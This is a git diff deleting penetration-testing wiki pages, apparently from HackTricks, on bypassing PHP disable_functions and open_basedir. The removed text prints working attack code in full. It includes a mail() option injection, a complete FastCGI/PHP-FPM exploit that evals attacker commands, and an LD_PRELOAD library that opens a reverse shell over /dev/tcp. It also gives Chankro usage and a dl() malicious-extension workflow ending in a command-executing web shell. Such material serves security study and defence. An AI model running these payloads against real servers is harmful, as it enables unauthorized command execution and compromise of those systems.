-**mail / mb_send_mail** - This function is used to send mails, but it can also be abused to inject arbitrary commands inside the `$options` parameter. This is because **php `mail` function** usually call `sendmail` binary inside the system and it allows you to **put extra options**. However, you won't be able to see the output of the executed command, so it's recommended to create shell script that writes the output to a file, execute it using mail, and print the output:
-
-```bash
-file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
-```
-
-**dl** - This function can be used to dynamically load a PHP extension. This function won't be present always, so you should check if it's available before trying to exploit it. Read[ this page to learn how to exploit this function](disable_functions-bypass-dl-function.md).
-
-### PHP Code Execution
-
-Apart from eval there are other ways to execute PHP code: include/require can be used for remote code execution in the form of Local File Include and Remote File Include vulnerabilities.
-
-```php
-${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
-eval()
-assert()                   //  identical to eval()
-preg_replace('/.*/e',...)  // e does an eval() on the match
-create_function()          // Create a function and use eval()
-include()
-include_once()
-require()
-require_once()
-$_GET['func_name']($_GET['argument']);
-
-$func = new ReflectionFunction($_GET['func_name']);
-$func->invoke();
-// or
-$func->invokeArgs(array());
-
-// or serialize/unserialize function
-```
-
-## disable_functions & open_basedir
-
-**Disabled functions** is the setting that can be configured in `.ini` files in PHP that will **forbid** the use of the indicated **functions**. **Open basedir** is the setting that indicates to PHP the folder that it can access.\
-The PHP setting sue to be configured in the path _/etc/php7/conf.d_ or similar.
-
-Both configuration can be seen in the output of **`phpinfo()`**:
-
-![PHP Code Execution - disable functions & open basedir: Both configuration can be seen in the output of phpinfo()](https://0xrick.github.io/images/hackthebox/kryptos/17.png)
-
-![PHP Code Execution - disable functions & open basedir: Both configuration can be seen in the output of phpinfo()](<../../../../images/image (493).png>)
-
-## open_basedir Bypass
-
-`open_basedir` will configure the folders that PHP can access, you **won't be able to to write/read/execute any file outside** those folders, but also you **won't even be able to list** other directories.\
-However, if somehow you are able to execute arbitrary PHP code you can **try** the following chunk of **codes** to try to **bypass** the restriction.
-
-### Listing dirs with glob:// bypass
-
-In this first example the `glob://` protocol with some path bypass is used:
-
-```php
-<?php
-$file_list = array();
-$it = new DirectoryIterator("glob:///v??/run/*");
-foreach($it as $f) {
-    $file_list[] = $f->__toString();
-}
-$it = new DirectoryIterator("glob:///v??/run/.*");
-foreach($it as $f) {
-    $file_list[] = $f->__toString();
-}
-sort($file_list);
-foreach($file_list as $f){
-        echo "{$f}<br/>";
-}
-```
-
-**Note1**: In the path you can also use `/e??/*` to list `/etc/*` and any other folder.\
-**Note2**: It looks like part of the code is duplicated, but that's actually necessary!\
-**Note3**: This example is only useful to list folders not to read files
-
-### Full open_basedir bypass abusing FastCGI
-
-If you want to **learn more about PHP-FPM and FastCGI** you can read the [first section of this page](disable_functions-bypass-php-fpm-fastcgi.md).\
-If **`php-fpm`** is configured you can abuse it to completely bypass **open_basedir**:
-
-![Listing dirs with glob:// bypass - Full open basedir bypass abusing FastCGI: If php-fpm is configured you can abuse it to completely bypass open basedir](<../../../../images/image (545).png>)
-
-![Listing dirs with glob:// bypass - Full open basedir bypass abusing FastCGI: If php-fpm is configured you can abuse it to completely bypass open basedir](<../../../../images/image (577).png>)
-
-Note that the first thing you need to do is find where is the **unix socket of php-fpm**. It use to be under `/var/run` so you can **use the previous code to list the directory and find it**.\
-Code from [here](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy).
-
-```php
-<?php
-/**
- * Note : Code is released under the GNU LGPL
- *
- * Please do not change the header of this file
- *
- * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
- * Lesser General Public License as published by the Free Software Foundation; either version 2 of
- * the License, or (at your option) any later version.
- *
- * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * See the GNU Lesser General Public License for more details.
- */
-/**
- * Handles communication with a FastCGI application
- *
- * @author      Pierrick Charron <pierrick@webstart.fr>
- * @version     1.0
- */
-class FCGIClient
-{
-    const VERSION_1            = 1;
-    const BEGIN_REQUEST        = 1;
-    const ABORT_REQUEST        = 2;
-    const END_REQUEST          = 3;
-    const PARAMS               = 4;
-    const STDIN                = 5;
-    const STDOUT               = 6;
-    const STDERR               = 7;
-    const DATA                 = 8;
-    const GET_VALUES           = 9;
-    const GET_VALUES_RESULT    = 10;
-    const UNKNOWN_TYPE         = 11;
-    const MAXTYPE              = self::UNKNOWN_TYPE;
-    const RESPONDER            = 1;
-    const AUTHORIZER           = 2;
-    const FILTER               = 3;
-    const REQUEST_COMPLETE     = 0;
-    const CANT_MPX_CONN        = 1;
-    const OVERLOADED           = 2;
-    const UNKNOWN_ROLE         = 3;
-    const MAX_CONNS            = 'MAX_CONNS';
-    const MAX_REQS             = 'MAX_REQS';
-    const MPXS_CONNS           = 'MPXS_CONNS';
-    const HEADER_LEN           = 8;
-    /**
-     * Socket
-     * @var Resource
-     */
-    private $_sock = null;
-    /**
-     * Host
-     * @var String
-     */
-    private $_host = null;
-    /**
-     * Port
-     * @var Integer
-     */
-    private $_port = null;
-    /**
-     * Keep Alive
-     * @var Boolean
-     */
-    private $_keepAlive = false;
-    /**
-     * Constructor
-     *
-     * @param String $host Host of the FastCGI application
-     * @param Integer $port Port of the FastCGI application
-     */
-    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
-    {
-        $this->_host = $host;
-        $this->_port = $port;
-    }
-    /**
-     * Define whether or not the FastCGI application should keep the connection
-     * alive at the end of a request
-     *
-     * @param Boolean $b true if the connection should stay alive, false otherwise
-     */
-    public function setKeepAlive($b)
-    {
-        $this->_keepAlive = (boolean)$b;
-        if (!$this->_keepAlive && $this->_sock) {
-            fclose($this->_sock);
-        }
-    }
-    /**
-     * Get the keep alive status
-     *
-     * @return Boolean true if the connection should stay alive, false otherwise
-     */
-    public function getKeepAlive()
-    {
-        return $this->_keepAlive;
-    }
-    /**
-     * Create a connection to the FastCGI application
-     */
-    private function connect()
-    {
-        if (!$this->_sock) {
-            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
-            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
-            if (!$this->_sock) {
-                throw new Exception('Unable to connect to FastCGI application');
-            }
-        }
-    }
-    /**
-     * Build a FastCGI packet
-     *
-     * @param Integer $type Type of the packet
-     * @param String $content Content of the packet
-     * @param Integer $requestId RequestId
-     */
-    private function buildPacket($type, $content, $requestId = 1)
-    {
-        $clen = strlen($content);
-        return chr(self::VERSION_1)         /* version */
-            . chr($type)                    /* type */
-            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
-            . chr($requestId & 0xFF)        /* requestIdB0 */
-            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
-            . chr($clen & 0xFF)             /* contentLengthB0 */
-            . chr(0)                        /* paddingLength */
-            . chr(0)                        /* reserved */
-            . $content;                     /* content */
-    }
-    /**
-     * Build an FastCGI Name value pair
-     *
-     * @param String $name Name
-     * @param String $value Value
-     * @return String FastCGI Name value pair
-     */
-    private function buildNvpair($name, $value)
-    {
-        $nlen = strlen($name);
-        $vlen = strlen($value);
-        if ($nlen < 128) {
-            /* nameLengthB0 */
-            $nvpair = chr($nlen);
-        } else {
-            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
-            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
-        }
-        if ($vlen < 128) {
-            /* valueLengthB0 */
-            $nvpair .= chr($vlen);
-        } else {
-            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
-            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
-        }
-        /* nameData & valueData */
-        return $nvpair . $name . $value;
-    }
-    /**
-     * Read a set of FastCGI Name value pairs
-     *
-     * @param String $data Data containing the set of FastCGI NVPair
-     * @return array of NVPair
-     */
-    private function readNvpair($data, $length = null)
-    {
-        $array = array();
-        if ($length === null) {
-            $length = strlen($data);
-        }
-        $p = 0;
-        while ($p != $length) {
-            $nlen = ord($data{$p++});
-            if ($nlen >= 128) {
-                $nlen = ($nlen & 0x7F << 24);
-                $nlen |= (ord($data{$p++}) << 16);
-                $nlen |= (ord($data{$p++}) << 8);
-                $nlen |= (ord($data{$p++}));
-            }
-            $vlen = ord($data{$p++});
-            if ($vlen >= 128) {
-                $vlen = ($nlen & 0x7F << 24);
-                $vlen |= (ord($data{$p++}) << 16);
-                $vlen |= (ord($data{$p++}) << 8);
-                $vlen |= (ord($data{$p++}));
-            }
-            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
-            $p += ($nlen + $vlen);
-        }
-        return $array;
-    }
-    /**
-     * Decode a FastCGI Packet
-     *
-     * @param String $data String containing all the packet
-     * @return array
-     */
-    private function decodePacketHeader($data)
-    {
-        $ret = array();
-        $ret['version']       = ord($data{0});
-        $ret['type']          = ord($data{1});
-        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
-        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
-        $ret['paddingLength'] = ord($data{6});
-        $ret['reserved']      = ord($data{7});
-        return $ret;
-    }
-    /**
-     * Read a FastCGI Packet
-     *
-     * @return array
-     */
-    private function readPacket()
-    {
-        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
-            $resp = $this->decodePacketHeader($packet);
-            $resp['content'] = '';
-            if ($resp['contentLength']) {
-                $len  = $resp['contentLength'];
-                while ($len && $buf=fread($this->_sock, $len)) {
-                    $len -= strlen($buf);
-                    $resp['content'] .= $buf;
-                }
-            }
-            if ($resp['paddingLength']) {
-                $buf=fread($this->_sock, $resp['paddingLength']);
-            }
-            return $resp;
-        } else {
-            return false;
-        }
-    }
-    /**
-     * Get Informations on the FastCGI application
-     *
-     * @param array $requestedInfo information to retrieve
-     * @return array
-     */
-    public function getValues(array $requestedInfo)
-    {
-        $this->connect();
-        $request = '';
-        foreach ($requestedInfo as $info) {
-            $request .= $this->buildNvpair($info, '');
-        }
-        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
-        $resp = $this->readPacket();
-        if ($resp['type'] == self::GET_VALUES_RESULT) {
-            return $this->readNvpair($resp['content'], $resp['length']);
-        } else {
-            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
-        }
-    }
-    /**
-     * Execute a request to the FastCGI application
-     *
-     * @param array $params Array of parameters
-     * @param String $stdin Content
-     * @return String
-     */
-    public function request(array $params, $stdin)
-    {
-        $response = '';
-        $this->connect();
-        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
-        $paramsRequest = '';
-        foreach ($params as $key => $value) {
-            $paramsRequest .= $this->buildNvpair($key, $value);
-        }
-        if ($paramsRequest) {
-            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
-        }
-        $request .= $this->buildPacket(self::PARAMS, '');
-        if ($stdin) {
-            $request .= $this->buildPacket(self::STDIN, $stdin);
-        }
-        $request .= $this->buildPacket(self::STDIN, '');
-        fwrite($this->_sock, $request);
-        do {
-            $resp = $this->readPacket();
-            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
-                $response .= $resp['content'];
-            }
-        } while ($resp && $resp['type'] != self::END_REQUEST);
-        var_dump($resp);
-        if (!is_array($resp)) {
-            throw new Exception('Bad request');
-        }
-        switch (ord($resp['content']{4})) {
-            case self::CANT_MPX_CONN:
-                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
-                break;
-            case self::OVERLOADED:
-                throw new Exception('New request rejected; too busy [OVERLOADED]');
-                break;
-            case self::UNKNOWN_ROLE:
-                throw new Exception('Role value not known [UNKNOWN_ROLE]');
-                break;
-            case self::REQUEST_COMPLETE:
-                return $response;
-        }
-    }
-}
-?>
-<?php
-// real exploit start here
-if (!isset($_REQUEST['cmd'])) {
-    die("Check your input\n");
-}
-if (!isset($_REQUEST['filepath'])) {
-    $filepath = __FILE__;
-}else{
-    $filepath = $_REQUEST['filepath'];
-}
-$req = '/'.basename($filepath);
-$uri = $req .'?'.'command='.$_REQUEST['cmd'];
-$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
-$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
-$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
-//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
-$params = array(
-        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
-        'REQUEST_METHOD'    => 'POST',
-        'SCRIPT_FILENAME'   => $filepath,
-        'SCRIPT_NAME'       => $req,
-        'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
-        'REQUEST_URI'       => $uri,
-        'DOCUMENT_URI'      => $req,
-#'DOCUMENT_ROOT'     => '/',
-        'PHP_VALUE'         => $php_value,
-        'SERVER_SOFTWARE'   => '80sec/wofeiwo',
-        'REMOTE_ADDR'       => '127.0.0.1',
-        'REMOTE_PORT'       => '9985',
-        'SERVER_ADDR'       => '127.0.0.1',
-        'SERVER_PORT'       => '80',
-        'SERVER_NAME'       => 'localhost',
-        'SERVER_PROTOCOL'   => 'HTTP/1.1',
-        'CONTENT_LENGTH'    => strlen($code)
-        );
-// print_r($_REQUEST);
-// print_r($params);
-//echo "Call: $uri\n\n";
-echo $client->request($params, $code)."\n";
-?>
-```
-
-This scripts will communicate with **unix socket of php-fpm** (usually located in /var/run if fpm is used) to execute arbitrary code. The `open_basedir` settings will be overwritten by the **PHP_VALUE** attribute that is sent.\
-Note how `eval` is used to execute the PHP code you send inside the **cmd** parameter.\
-Also note the **commented line 324**, you can uncomment it and the **payload will automatically connect to the given URL and execute the PHP code** contained there.\
-Just access `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` to get the content of the `/etc/passwd` file.
-
-> [!WARNING]
-> You may be thinking that just in the same way we have overwritten `open_basedir` configuration we can **overwrite `disable_functions`**. Well, try it, but it won't work, apparently **`disable_functions` can only be configured in a `.ini` php** configuration file and the changes you perform using PHP_VALUE won't be effective on this specific setting.
-
-## disable_functions Bypass
-
-If you manage have PHP code executing inside a machine you probably want to go to the next level and **execute arbitrary system commands**. In this situation is usual to discover that most or all the PHP **functions** that allow to **execute system commands have been disabled** in **`disable_functions`.**\
-So, lets see how you can bypass this restriction (if you can)
-
-### Automatic bypass discovery
-
-You can use the tool [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) and it will indicate you which function (if any) you can use to **bypass** **`disable_functions`**.
-
-### Bypassing using other system functions
-
-Just return to the beginning of this page and **check if any of the command executing functions isn't disabled and available in the environment**. If you find just 1 of them, you will be able to use it to execute arbitrary system commands.
-
-### LD_PRELOAD bypass
-
-It's well known that some functions in PHP like `mail()`are going to **execute binaries inside the system**. Therefore, you can abuse them using the environment variable `LD_PRELOAD` to make them load an arbitrary library that can execute anything.
-
-#### Functions that can be used to bypass disable_functions with LD_PRELOAD
-
-- **`mail`**
-- **`mb_send_mail`**: Effective when the `php-mbstring` module is installed.
-- **`imap_mail`**: Works if `php-imap` module is present.
-- **`libvirt_connect`**: Requires the `php-libvirt-php` module.
-- **`gnupg_init`**: Utilizable with the `php-gnupg` module installed.
-- **`new imagick()`**: This class can be abused to bypass restrictions. Detailed exploitation techniques can be found in a comprehensive [**writeup here**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/).
-
-You can [**find here**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) the fuzzing script that was used to find those functions.
-
-Here is a library you can compile to abuse the `LD_PRELOAD` env variable:
-
-```php
-#include <unistd.h>
-#include <sys/types.h>
-#include <stdio.h>
-#include <stdlib.h>
-
-uid_t getuid(void){
-	unsetenv("LD_PRELOAD");
-	system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
-	return 1;
-}
-```
-
-#### Bypass using Chankro
-
-In order to abuse this misconfiguration you can [**Chankro**](https://github.com/TarlogicSecurity/Chankro). This is a tool that will **generate a PHP exploit** that you need to upload to the vulnerable server and execute it (access it via web).\
-**Chankro** will write inside the victims disc the **library and the reverse shell** you want to execute and will use the**`LD_PRELOAD` trick + PHP `mail()`** function to execute the reverse shell.
-
-Note that in order to use **Chankro**, `mail` and `putenv` **cannot appear inside the `disable_functions` list**.\
-In the following example you can see how to **create a chankro exploit** for **arch 64**, that will execute `whoami` and save the out in _/tmp/chankro_shell.out_, chankro will **write the library and the payload** in _/tmp_ and the **final exploit** is going to be called **bicho.php** (that's the file you need to upload to the victims server):
-
-{{#tabs}}
-{{#tab name="shell.sh"}}
-
-```php
-#!/bin/sh
-whoami > /tmp/chankro_shell.out
-```
-
-{{#endtab}}
-
-{{#tab name="Chankro"}}
-
-```bash
-python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
-```
-
-{{#endtab}}
-{{#endtabs}}
-
-If you find that **mail** function is blocked by disabled functions, you may still be able to use the function **mb_send_mail.**\
-More information about this technique and Chankro here: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/)
-
-### "Bypass" using PHP capabilities
-
-Note that using **PHP** you can **read and write files, create directories and change permissions**.\
-You can even **dump databases**.\
-Maybe using **PHP** to **enumerate** the box you can find a way to escalate privileges/execute commands (for example reading some private ssh key).
-
-I have created a webshell that makes very easy to perform this actions (note that most webshells will offer you this options also): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited)
-
-### Modules/Version dependent bypasses
-
-There are several ways to bypass disable_functions if some specific module is being used or exploit some specific PHP version:
-
-- [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md)
-- [**Bypass with FFI - Foreign Function Interface enabled**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md)
-- [**Bypass via mem**](disable_functions-bypass-via-mem.md)
-- [**mod_cgi**](disable_functions-bypass-mod_cgi.md)
-- [**PHP Perl Extension Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md)
-- [**dl function**](disable_functions-bypass-dl-function.md)
-- [**This exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass)
-  - 5.\* - exploitable with minor changes to the PoC
-  - 7.0 - all versions to date
-  - 7.1 - all versions to date
-  - 7.2 - all versions to date
-  - 7.3 - all versions to date
-  - 7.4 - all versions to date
-  - 8.0 - all versions to date
-- [**From 7.0 to 8.0 exploit (Unix only)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php)
-- [**PHP 7.0=7.4 (\*nix)**](disable_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only)
-- [**Imagick 3.3.0 PHP >= 5.4**](disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md)
-- [**PHP 5.x Shellsock**](disable_functions-php-5.x-shellshock-exploit.md)
-- [**PHP 5.2.4 ionCube**](disable_functions-php-5.2.4-ioncube-extension-exploit.md)
-- [**PHP <= 5.2.9 Windows**](disable_functions-bypass-php-less-than-5.2.9-on-windows.md)
-- [**PHP 5.2.4/5.2.5 cURL**](disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md)
-- [**PHP 5.2.3 -Win32std**](disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md)
-- [**PHP 5.2 FOpen exploit**](disable_functions-bypass-php-5.2-fopen-exploit.md)
-- [**PHP 4 >= 4.2.-, PHP 5 pcntl_exec**](disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)
-
-### **Automatic Tool**
-
-The following script tries some of the methods commented here:\
-[https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php)
-
-## Other Interesting PHP functions
-
-### List of functions which accept callbacks
-
-These functions accept a string parameter which could be used to call a function of the attacker's choice. Depending on the function the attacker may or may not have the ability to pass a parameter. In that case an Information Disclosure function like phpinfo() could be used.
-
-[Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php)
-
-[Following lists from here](https://stackoverflow.com/questions/3115559/exploitable-php-functions)
-
-```php
-// Function => Position of callback arguments
-'ob_start' => 0,
-'array_diff_uassoc' => -1,
-'array_diff_ukey' => -1,
-'array_filter' => 1,
-'array_intersect_uassoc' => -1,
-'array_intersect_ukey' => -1,
-'array_map' => 0,
-'array_reduce' => 1,
-'array_udiff_assoc' => -1,
-'array_udiff_uassoc' => array(-1, -2),
-'array_udiff' => -1,
-'array_uintersect_assoc' => -1,
-'array_uintersect_uassoc' => array(-1, -2),
-'array_uintersect' => -1,
-'array_walk_recursive' => 1,
-'array_walk' => 1,
-'assert_options' => 1,
-'uasort' => 1,
-'uksort' => 1,
-'usort' => 1,
-'preg_replace_callback' => 1,
-'spl_autoload_register' => 0,
-'iterator_apply' => 1,
-'call_user_func' => 0,
-'call_user_func_array' => 0,
-'register_shutdown_function' => 0,
-'register_tick_function' => 0,
-'set_error_handler' => 0,
-'set_exception_handler' => 0,
-'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
-'sqlite_create_aggregate' => array(2, 3),
-'sqlite_create_function' => 2,
-```
-
-### Information Disclosure
-
-Most of these function calls are not sinks. But rather it maybe a vulnerability if any of the data returned is viewable to an attacker. If an attacker can see phpinfo() it is definitely a vulnerability.
-
-```php
-phpinfo
-posix_mkfifo
-posix_getlogin
-posix_ttyname
-getenv
-get_current_user
-proc_get_status
-get_cfg_var
-disk_free_space
-disk_total_space
-diskfreespace
-getcwd
-getlastmo
-getmygid
-getmyinode
-getmypid
-getmyuid
-```
-
-### Other
-
-```php
-extract    // Opens the door for register_globals attacks (see study in scarlet).
-parse_str  // works like extract if only one argument is given.
-putenv
-ini_set
-mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
-header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
-proc_nice
-proc_terminate
-proc_close
-pfsockopen
-fsockopen
-apache_child_terminate
-posix_kill
-posix_mkfifo
-posix_setpgid
-posix_setsid
-posix_setuid
-```
-
-### Filesystem Functions
-
-According to RATS all filesystem functions in php are nasty. Some of these don't seem very useful to the attacker. Others are more useful than you might think. For instance if allow_url_fopen=On then a url can be used as a file path, so a call to copy($\_GET\['s'], $\_GET\['d']); can be used to upload a PHP script anywhere on the system. Also if a site is vulnerable to a request send via GET everyone of those file system functions can be abused to channel and attack to another host through your server.
-
-**Open filesystem handler**
-
-```php
-fopen
-tmpfile
-bzopen
-gzopen
-SplFileObject->__construct
-```
-
-**Write to filesystem (partially in combination with reading)**
-
-```php
-chgrp
-chmod
-chown
-copy
-file_put_contents
-lchgrp
-lchown
-link
-mkdir
-move_uploaded_file
-rename
-rmdir
-symlink
-tempnam
-touch
-unlink
-imagepng     // 2nd parameter is a path.
-imagewbmp    // 2nd parameter is a path.
-image2wbmp   // 2nd parameter is a path.
-imagejpeg    // 2nd parameter is a path.
-imagexbm     // 2nd parameter is a path.
-imagegif     // 2nd parameter is a path.
-imagegd      // 2nd parameter is a path.
-imagegd2     // 2nd parameter is a path.
-iptcembed
-ftp_get
-ftp_nb_get
-scandir
-```
-
-**Read from filesystem**
-
-```php
-file_exists
--- file_get_contents
-file
-fileatime
-filectime
-filegroup
-fileinode
-filemtime
-fileowner
-fileperms
-filesize
-filetype
-glob
-is_dir
-is_executable
-is_file
-is_link
-is_readable
-is_uploaded_file
-is_writable
-is_writeable
-linkinfo
-lstat
-parse_ini_file
-pathinfo
-readfile
-readlink
-realpath
-stat
-gzfile
-readgzfile
-getimagesize
-imagecreatefromgif
-imagecreatefromjpeg
-imagecreatefrompng
-imagecreatefromwbmp
-imagecreatefromxbm
-imagecreatefromxpm
-ftp_put
-ftp_nb_put
-exif_read_data
-read_exif_data
-exif_thumbnail
-exif_imagetype
-hash_file
-hash_hmac_file
-hash_update_file
-md5_file
-sha1_file
--- highlight_file
--- show_source
-php_strip_whitespace
-get_meta_tags
-```
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md
deleted file mode 100644
index 7cf02031563..00000000000
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md
+++ /dev/null
@@ -1,134 +0,0 @@
-# Disable Functions Bypass - dl Function
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-`dl()` lets PHP load a shared extension at runtime. If you can make it load an attacker-controlled module, you can register a new PHP function that internally calls `execve`, `system`, or any other native primitive and therefore bypass `disable_functions`.
-
-This is a **real** primitive, but on modern targets it is far less common than older writeups suggest.
-
-## Why this bypass is uncommon today
-
-The main blockers are:
-
-- `dl()` must exist and must not be disabled
-- `enable_dl` must still allow dynamic loading
-- The target SAPI must support `dl()`
-- The payload must be a valid PHP extension compiled for the **same target ABI**
-- The extension must be reachable from the configured `extension_dir`
-
-The official PHP manual is the most important reality check here: **`dl()` is only available for CLI and embed SAPIs, and for the CGI SAPI when run from the command line**. That means the technique is **usually not available in normal PHP-FPM/mod_php web requests**, so check the SAPI before spending time building a payload.
-
-Also note that `enable_dl` is an `INI_SYSTEM` setting and, as of **PHP 8.3.0**, PHP documents it as **deprecated**, so you usually cannot flip it at runtime from attacker-controlled PHP code.
-
-If `dl()` is not viable, go back to the broader list of [module/version dependent bypasses](README.md).
-
-## Fast triage from a foothold
-
-Before building anything, collect the exact parameters that the module must match:
-
-```php
-<?php
-phpinfo();
-echo "PHP_VERSION=" . PHP_VERSION . PHP_EOL;
-echo "PHP_SAPI=" . php_sapi_name() . PHP_EOL;
-echo "ZTS=" . (PHP_ZTS ? "yes" : "no") . PHP_EOL;
-echo "INT_BITS=" . (PHP_INT_SIZE * 8) . PHP_EOL;
-echo "enable_dl=" . ini_get("enable_dl") . PHP_EOL;
-echo "extension_dir=" . ini_get("extension_dir") . PHP_EOL;
-echo "disabled=" . ini_get("disable_functions") . PHP_EOL;
-?>
-```
-
-What you care about:
-
-- `PHP_SAPI`: if this is `fpm-fcgi` or `apache2handler`, `dl()` is usually a dead end for web exploitation
-- `extension_dir`: the payload must be loaded from here
-- `PHP Version`, architecture, debug/non-debug, and ZTS/non-ZTS: your module must match them
-- `disable_functions`: confirm whether `dl` is absent because it is disabled or because the SAPI does not support it
-
-## Practical exploitation constraints
-
-### 1. You normally need write access to `extension_dir`
-
-This is the biggest bottleneck.
-
-`dl()` takes the **extension filename**, and PHP loads it from `extension_dir`. In practice, this means that a normal arbitrary file upload to `/var/www/html/uploads` is not enough. You still need a path to place a `.so`/`.dll` where PHP will actually load extensions from.
-
-Realistic situations where this becomes exploitable:
-
-- CTFs or intentionally weak labs where `extension_dir` is writable
-- Shared-hosting or container mistakes that expose a writable extension path
-- A separate arbitrary file write primitive that already reaches `extension_dir`
-- Post-exploitation scenarios where you already escalated enough to drop files there
-
-### 2. The module must match the target build
-
-Matching only `PHP_VERSION` is not enough. The extension also needs to match:
-
-- OS and CPU architecture
-- libc/toolchain expectations
-- `ZEND_MODULE_API_NO`
-- debug vs non-debug build
-- ZTS vs NTS
-
-If those do not match, `dl()` will fail or crash the process.
-
-### 3. `open_basedir` is not the main defense here
-
-Once you can place the module in `extension_dir` and call `dl()`, the extension code executes inside the PHP process. At that point the relevant barrier was not `open_basedir`, but the ability to land a valid shared object in the extension loading path.
-
-## Building the malicious extension
-
-The classic route is still valid:
-
-1. Recreate the victim build as closely as possible
-2. Use `phpize`, `./configure`, and `make` to build a shared extension
-3. Export a PHP function such as `bypass_exec($cmd)` that wraps native command execution
-4. Upload the compiled module into `extension_dir`
-5. Load it with `dl()` and call the exported function
-
-The attack is old, but still relevant because PHP 8.x changelogs continue to include `dl()`-specific crash fixes. The primitive still exists; the hard part is finding a deployment where it is reachable and where you can land a matching module.
-
-## Minimal workflow
-
-### On the attacker box
-
-```bash
-mkdir bypass && cd bypass
-phpize
-./configure
-make
-```
-
-The resulting shared object will usually be under `modules/`.
-
-If you are building on a different environment than the target, treat the produced file as a draft until you verify that the ABI matches the victim.
-
-## Loading and using the extension
-
-If the target really supports `dl()` and the module is inside `extension_dir`, the runtime side is simple:
-
-```php
-<?php
-if (!extension_loaded('bypass')) {
-    dl('bypass.so'); // use the correct filename for the target platform
-}
-echo bypass_exec($_GET['cmd']);
-?>
-```
-
-On Windows the filename will typically be a `.dll`, while on Unix-like targets it will usually be a `.so`.
-
-## Attacker notes
-
-- Do not assume this works remotely just because `function_exists("dl")` returns true in some documentation or old writeup; validate the live SAPI
-- A failed `dl()` attempt may kill the PHP worker if the module is incompatible
-- From PHP 8 onward, disabled functions are removed from the function table, so userland enumeration may differ from older posts
